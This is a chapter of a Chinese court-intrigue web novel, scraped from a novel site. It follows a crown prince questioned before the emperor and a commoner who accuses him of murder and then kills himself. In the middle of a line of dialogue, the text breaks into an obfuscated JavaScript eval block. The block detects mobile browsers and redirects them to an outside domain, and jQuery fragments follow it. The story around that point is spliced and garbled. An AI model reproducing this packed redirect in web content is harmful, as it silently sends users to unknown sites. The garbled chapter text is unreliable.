默认冷灰
24号文字
方正启体

84. 以命相告

作者:也学牡丹开本书字数:K更新时间:
    日出也就那么一会儿,满桌的斋饭戚从宴也未动。只喝了两盏茶,便起身要走。


    慈恩一直跟在身后,见此忙上前问


    “殿下可是要回院里。”


    “不了,孤要回京。”


    话一出,慈恩都没发现,自己竟松了口气。


    “恭送殿下。”


    戚从宴转过身,又补充了一句


    “昨晚上孤来此一事,住持可知如何说。”


    “殿下从未来过。”


    他弯着腰行礼,一直到戚从宴走远,他才起身,眼眸里平添了几分戾气。


    “住持……”


    一旁的僧人有些愤愤不平,就算是皇亲贵胄一向对他们住持礼让三分,这太子是不是太不把人放在眼里了。


    慈恩转头看了他一眼,立马噤了声。


    戚从宴听到嘴角勾起一抹若有似无的弧度。


    不急,很快就到你了!


    洛禹安和萧锦陌两人天还未亮便回了客栈,等着戚从宴的队伍下山,又浑水摸鱼摸了进去。


    三人骑着马,显然难得和表哥一起骑马,数萧锦陌最开心。


    “表哥,好久没一起出来了,不然我们一起看谁先骑回京城。”


    话音刚落,洛禹安率先举手


    “我拒绝!”


    马骑着是帅,也拉风,但她要帅给鬼看啊,受苦的还是自己屁股。


    “锦陌,锦岑去了大理寺,不然也给你安排个职位。”


    萧锦陌立马苦着脸,幽怨地看着他表哥


    “不比就不比嘛。”


    干什么要威胁人,明明早答应了他等他满了十九就让他去边关找三叔,他可是要向洛姐姐学习,一站成名,将他们萧家军发扬光大。


    说完气呼呼又委屈地看了一眼他表哥,骑着马往前面去了。


    洛禹安……少年真是可爱。


    快到了京城,戚从宴再次轻声嘱咐


    “别擅自行动,听我安排。”


    洛禹安难得点了个头,昨晚上她也想了,戚从宴说得对,斩草不除根,春风吹又生,与其这般反复循环,不如一次性斩草除根。


    回了府上,春禾忙迎上来


    “县主你回来啦,昨晚上殿下过来了。”


    早上醒来她都还惊魂未定,只以为自己做梦了。


    “嗯,我知道了。”


    昨晚上她没怎么睡好,让春禾自己去忙,倒头就睡下了。


    而戚从宴前脚到了东宫,后脚宋旭便来报曹阳领着人来请。


    “让他进来。”


    “殿下,陛下宣您去御书房。”


    戚从宴刚洗过手,拿着帕子盯着铜镜里那白面一样的脸


    “可说有何事。”


    “这倒不曾,只说让殿下过去。”


    曹阳在皇帝身边也有十来年了,什么该说什么不该说,自然清楚,饶是迎上戚从宴带着威压的视线,也丝毫未动。


    “嗯。”


    这回答是去还是不去,就很不好说。曹阳再次行礼询问


    “还请殿下即刻动身。”


    “知道了。”


    可人就是未动,曹阳小心地抬了些头,正对上戚从宴的视线,又忙低下头,眉心一颤一颤的。


    “走吧。”


    不过两个字倒让下面的人能好好喘口气了。


    他身量颀长,步伐也快,很快就甩开曹阳他们一大截,一旁的宫人小心上前搀扶着曹阳


    “干爹,慢些。”


    曹阳只是朝他点了个头,额头和后背的汗在厚厚的夹袄里,又冷又闷,帽檐边将脸上的粉冲开了些,眼看到了御书房门口,赶紧拿帕子擦了擦。


    戚从宴已经进去了,他这通报的人还没到。


    “陛下,奴才失礼了。”


    他俯下身,刚好跪在戚从宴脚边,还未挨着他脚,人就往右移了些。


    “起来吧,在一旁候着。”


    御书房内除了戚从宴,还有戚从泽、阮丞相、沈侯爷、萧国公爷。


    见人齐了,皇帝坐直了背脊,发问道


    “太子,朕没记错你应该是在东宫关了禁闭,为何昨日又出城。”


    戚从宴迎上他的视线,没什么表情


    “父皇听谁说的,儿臣在东宫未出去过。”


    这睁眼说瞎话的也只有他了,一旁的阮丞相嘴角一抽,还没注意戚从泽便上前去。


    “父皇,大哥可真是能言善辩,偏说未出城,昨晚上那些守城的侍卫都看见了,大哥,你一个大活人,怎么会有人认错。”


    萧云麒上前一步


    “臣有事禀奏。”


    皇帝脸上带着些不虞,半掀着眼皮说了声准,


    “昨日太子殿下的确并未出城,昨日我儿锦陌嚷着要出城狩猎,非要骑他表哥的马,家里拘着他不许去打扰殿下,谁知这臭小子半夜溜出去,那东宫的人也认识,没料到他是去骑马的,估计是守城的人认错了。若不是今日陛下和三殿下提起,老臣也是忘了,让太子殿下平白无故被误会。”


    说完掀起前袍跪下


    “臣管教无方,还请陛下恕罪,今日回去便上家法,三皇子殿下,这也是犬子的过错,还请别误会了太子殿下。”


    ……


    皇帝张了好几次嘴,话都嘴边又给他气回去了,萧家,萧家好得很哪!最后还得让萧云麒起身。


    “萧爱卿,快起来说话,孩子贪玩,也是难免。”


    皇帝这么说,不过是顺势而为。


    戚从泽可不一样,他年轻气盛,和萧锦陌差不多的年纪,不过是生在皇城多了他几分城府,可从小到大千恩万宠,骨子里的少年气是和萧锦陌一样的。


    刚一站起身便发难道


    “国公爷,你倒是会说,三言两语将大哥摘了出去,那守城的人那么多个,总不能他们把萧锦陌和大哥都分不清了吧。”


    萧云麒朝着他拱手行礼


    “三殿下此言差矣,两人本就表兄弟,有些像也是正常,至于分不清,天黑了,认岔了,也是常有的,不然叫守卫上前来一一问过便是。”


    他说的笃定,表情和戚从宴如出一辙,又多了几分老狐狸的味道,见戚从泽还要在说,皇帝给他一个眼神。


    阮丞相这时候才出来搅着圆场


    “国公爷说的也是,表兄弟相像也是常有。”


    “正是,殿下肖似皇后,锦陌也有几分像他姑姑。”


    萧云麒露出几分恰到好处的欣慰,阮丞相暗道了句老奸巨猾,太子也是不知脸皮是何物,是非黑白由他们说,他今日也是开眼了。


    望向一旁的戚从泽,差了不知多少,他那女儿也是着了魔了。可阮府上下几百口人,总不能被她都带进三皇子府上。


    “既无出东宫那便罢了,如今太子庄子上发现的女尸闹得沸沸扬扬,大理寺迟迟未出结果,以免民间怨言,太子还是约束自己的好,给百姓一个交代。”


    戚从泽也抓住时机阴阳怪气了些


    “大哥,这事儿闹得如此厉害,别出去才好,外面人可都嚷着天子犯法,与庶民同罪,不管怎么说,还是大哥自己失察遭了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144868|178162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道。”


    父子俩一人一句,就是想将此事扣在戚从宴身上,失察的是你,惹了民怨的亦是你。


    萧云麒脚步微动,就听戚从宴回道


    “父皇,三弟,我是盛乾的太子,代表的也是我盛乾的皇族,区区一个庄子出了命案,就要往我身上泼脏水,如若这样,视我皇家的威严何在。”


    “为何要说给百姓一个交代,是有何人亲眼看见儿臣行凶了吗?父皇要儿臣关禁闭,我也是听父皇的,三弟也不要人云亦云,得维护我皇家的颜面和尊严才是。”


    ……


    御书房里一时有些安静,这话几人都听得明白,明明我是太子,一人之下万人之上,偏偏因为点无凭无据的破事,当父亲的要我关禁闭,弟弟要我谨言慎行。


    视皇家的威严于不顾,难不成还要他一个太子当面去道歉不成。


    戚从泽额前的青筋一跳一跳,他迟早要杀了他!


    “太子说的是,这事儿让大理寺尽快给个交代,别让事情闹大。”


    闭口不提禁闭一事儿,皇帝他这一手察言观色的本事早已炉火纯青,随后又说了些北方的雪灾一事便散了。


    出了门,阮丞相和萧云麒是并排的,正打算假意寒暄两句,就听萧云麒喜笑颜开地说道


    “还未恭喜丞相大人呢,三皇子有了长子,丞相大人又长了一辈了。”


    阮丞相脸色有些僵住,脸皮似有些抽动,带动着嘴角的胡子动了动,什么话也没说,甩着袖子就走了。


    御书房里去而复返的戚从泽和皇帝两人,脸色铁青的坐在一起,曹阳悄然将宫人撤下。


    翌日一早,本就热闹的京城好似更热闹了些。


    “我要状告当场太子强抢民女,□□掳虐,无恶不作。”


    “抢了我妹妹,如今尸骨无存,还我妹妹。”


    反反复复两句话翻来覆去,大理寺的鸣冤鼓响彻京城的大道上,百姓们听说是状告当朝的太子,早已围的水泄不通。


    萧锦岑听到下官的禀告,仔仔细细将人打量了一番,似以为他在开玩笑。


    “大人,的确如此,一早上就来敲了,正要去将人拿下,许多百姓都看着,怎么好动手。”


    这就是个滑头,萧锦岑恼怒道


    “什么叫不好动手,将人带进来不行,非要让他一直敲,那是我盛乾的太子,岂容他人随意污蔑。”


    “可他写了血书,言语有据,这怎么好……”


    “荒唐,谁还没血了不成,要多少不能写出来,还废话什么,赶紧将人带进来。”


    于是,衙役们开始控制现场,维持秩序,将那男人带进去。


    谁知那男人转过身看着百姓,一字一句地开始控诉戚从宴的罪行,将血书举过头顶,可谓是字字珠玑。


    “我只想要个公道,给我妹妹还一个公道,她才十五岁啊,我们老百姓的命就不是命了吗?”


    衙役们已经上前将人摁住,谁知那男人也是力大,挣扎着将话说完


    “今日老百姓们你们可看清了,我深知此去便再无天日可见,今日我以命相告,我所言句句属实,苍天若有眼,请将坏人绳之以法,天子犯法尚且与庶民同罪,我盛乾的储君如此恶行,怎可堪忧?”


    说完,他大喊了一声冤枉,硬生生挣脱那五个衙役,猛地撞向那门口的石狮子,霎时间血雾喷溅,最前面的人也染了一身的血污。


    都没从这突然的变故回过神,还是其中的一个半大的孩子尖叫起来,随后便是此起彼伏的尖叫。


    以命相告,何其惨烈!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)